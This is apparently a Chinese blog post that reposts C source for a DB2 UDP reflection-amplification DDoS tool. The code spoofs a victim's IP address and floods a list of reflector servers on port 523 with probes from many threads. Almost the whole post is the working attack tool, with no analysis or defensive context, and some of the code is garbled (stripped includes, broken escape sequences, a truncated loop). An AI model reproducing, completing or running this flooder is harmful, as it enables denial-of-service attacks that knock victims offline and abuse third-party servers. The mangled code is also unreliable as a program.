UDP-Based Amplification DDOS攻击.c 2021年8月7日 14:00 • 智能运维 /* DB2 Amplification */ #include #include #include #include #include #include #include #include #include #include #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 20; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(523); udph->check = 0; strcpy((void *)udph + sizeof(struct udphdr), "/x44/x42/x32/x47/x45/x54/x41/x44/x44/x52/x00/x53/x51/x4c/x30/x35/x30/x30/x30/x00"); udph->len=htons(sizeof(struct udphdr) + 20); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket./n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!/n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); pps++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 6){ fprintf(stderr, "Invalid parameters!/n"); fprintf(stdout, "Usage: %s /n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets.../n"); int max_len = 128; char *buffer = (char *) malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '/n') || (buffer[strlen(buffer) - 1] == '/r')) { buffer[strlen(buffer) - 1] = 0x00; if(head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr=inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr=inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for(i = 0;i maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; } 原创文章,作者:Maggie-Hunter,如若转载,请注明出处:https://blog.ytso.com/56241.html 赞 (0) 0 生成海报 udp DDOS攻击.c 上一篇 2021年8月7日 UDP-Based Amplification DDOS攻击资源扫描 下一篇 2021年8月7日 相关推荐 使用docker安装jenkins 2021年8月6日 关于业余草网站友情链接出售公告 2022年5月4日 centos 安装 LuManager 2021年7月25日 交换机和路由器的区别 2021年8月9日 写在最前面 – 每天5分钟玩转容器技术(1) 2021年8月7日 百度云加速免费版与收费版的区别 2022年4月22日 SEO经验:百度排名只需分析关键词数据 2022年4月22日 leetcode1025_除数博弈详解程序员 2021年7月15日 使用 Vue.js 实现 Tooltip 气泡提示框、用户通知弹出框插件 2022年5月2日 时间敲定!6月22日WISS第三届世界物联网安全峰会将在北京开幕 2021年8月6日 发表回复 请登录后评论...登录后才能评论 提交